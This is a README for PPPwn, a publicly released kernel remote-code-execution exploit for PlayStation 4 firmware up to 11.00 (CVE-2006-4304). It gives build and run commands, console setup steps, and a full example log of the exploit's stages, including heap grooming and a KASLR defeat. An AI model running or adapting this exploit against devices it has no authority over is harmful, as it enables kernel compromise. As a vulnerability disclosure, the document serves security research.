PPPwn - PlayStation 4 PPPoE RCE

PPPwn is a kernel remote code execution exploit for PlayStation 4 up to FW 11.00. This is a proof-of-concept exploit for CVE-2006-4304 that was reported responsibly to PlayStation.

Supported versions are:

• FW 8.50
• FW 9.00
• FW 9.03 / 9.04
• FW 9.50 / 9.60
• FW 10.00 / 10.01
• FW 10.50 / 10.70 / 10.71
• FW 11.00
• more can be added (PRs are welcome)

The exploit only prints PPPwned on your PS4 as a proof-of-concept. In order to launch Mira or similar homebrew enablers, the stage2.bin payload needs to be adapted.

Requirements

• A computer with an Ethernet port
  • USB adapter also works
• Ethernet cable
• Linux
  • You can use VirtualBox to create a Linux VM with Bridged Adapter as network adapter to use the ethernet port in the VM.
• Python3 and gcc installed
• PS4 Scene-Collective SDK for the payload

Stage2 PoC payload loader

• default loads the embedded payload in the stage 2 folder
• has code for loading payloads from a USB (WIP)
• Big thanks to ps4debug for the utils

Note: Before you compile, copy payload/payload.bin to stage2/ folder.

Usage

On your computer, clone the repository:

git clone --recursive https://github.com/LightningMods/PPPwn

Change the directory to the cloned repository:

cd PPPwn

Install the requirements:

sudo pip install -r requirements.txt

Compile the payloads:

for Debug settings ONLY

make -C stage2 FW=1100 clean && make -C stage2 FW=1100 ENABLE_DEBUG_MENU=1

for the Module Dumper Patches + USB Payload Loader

make -C stage2 FW=1100 clean && make -C stage2 FW=1100 MODULE_DUMPER=1

for the USB (or /data) Payload Loader ONLY

make -C stage2 FW=1100 clean && make -C stage2 FW=1100 USB_LOADER=1

For other firmwares, e.g. FW 9.00, pass FW=900.

Run the exploit (see ifconfig for the correct interface):

sudo python3 pppwn.py --interface=enp0s3 --fw=1100

For other firmwares, e.g. FW 9.00, pass --fw=900.

On your PS4:

• Go to Settings and then Network
• Select Set Up Internet connection and choose Use a LAN Cable
• Choose Custom setup and choose PPPoE for IP Address Settings
• Enter anything for PPPoE User ID and PPPoE Password
• Choose Automatic for DNS Settings and MTU Settings
• Choose Do Not Use for Proxy Server
• Click Test Internet Connection to communicate with your computer

If the exploit fails or the PS4 crashes, you can skip the internet setup and simply click on Test Internet Connection. If the pppwn.py script is stuck waiting for a request/response, abort it and run it again on your computer, and then click on Test Internet Connection on your PS4.

If the exploit works, you should see an output similar to below, and you should see Cannot connect to network. followed by PPPwned printed on your PS4.

Example run

[+] PPPwn - PlayStation 4 PPPoE RCE by theflow
[+] args: interface=enp0s3 fw=1100 stage1=stage1/stage1.bin stage2=stage2/stage2.bin

[+] STAGE 0: Initialization
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 07:ba:be:34:d6:ab
[+] AC cookie length: 0x4e0
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[*] Waiting for interface to be ready...
[+] Target IPv6: fe80::2d9:d1ff:febc:83e4
[+] Heap grooming...done

[+] STAGE 1: Memory corruption
[+] Pinning to CPU 0...done
[*] Sending malicious LCP configure request...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...
[+] Scanning for corrupted object...found fe80::0fdf:4141:4141:4141

[+] STAGE 2: KASLR defeat
[*] Defeating KASLR...
[+] pppoe_softc_list: 0xffffffff884de578
[+] kaslr_offset: 0x3ffc000

[+] STAGE 3: Remote code execution
[*] Sending LCP terminate request...
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634beba00
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] Source MAC: 97:df:ea:86:ff:ff
[+] AC cookie length: 0x511
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Triggering code execution...
[*] Waiting for stage1 to resume...
[*] Sending PADT...
[*] Waiting for PADI...
[+] pppoe_softc: 0xffffabd634be9200
[+] Target MAC: xx:xx:xx:xx:xx:xx
[+] AC cookie length: 0x0
[*] Sending PADO...
[*] Waiting for PADR...
[*] Sending PADS...
[*] Waiting for LCP configure request...
[*] Sending LCP configure ACK...
[*] Sending LCP configure request...
[*] Waiting for LCP configure ACK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure NAK...
[*] Waiting for IPCP configure request...
[*] Sending IPCP configure ACK...
[*] Sending IPCP configure request...
[*] Waiting for IPCP configure ACK...

[+] STAGE 4: Arbitrary payload execution
[*] Sending stage2 payload...
[+] Done!

Notes for Mac Apple Silicon Users (arm64 / aarch64)

The code will not compile on Apple Silicon and requires AMD64 architecture. There is a workaround using docker which will build the bin files required. Clone this repository to your mac system, then from the repo folder run ./build-macarm.sh.This will build the binaries for PS4 FW 1100 and place the necessary files into the correct folders. To build the binaries for a different version, i.e. 900, run the command as such: ./build-macarm.sh 900. Once built, copy this folder structure into the Linux VM and execute as instructed above. This has been tested using VMware Fusion 13.5.1, with the VM Guest as Ubuntu 24.04, and the host machine is MacOS 14.4.1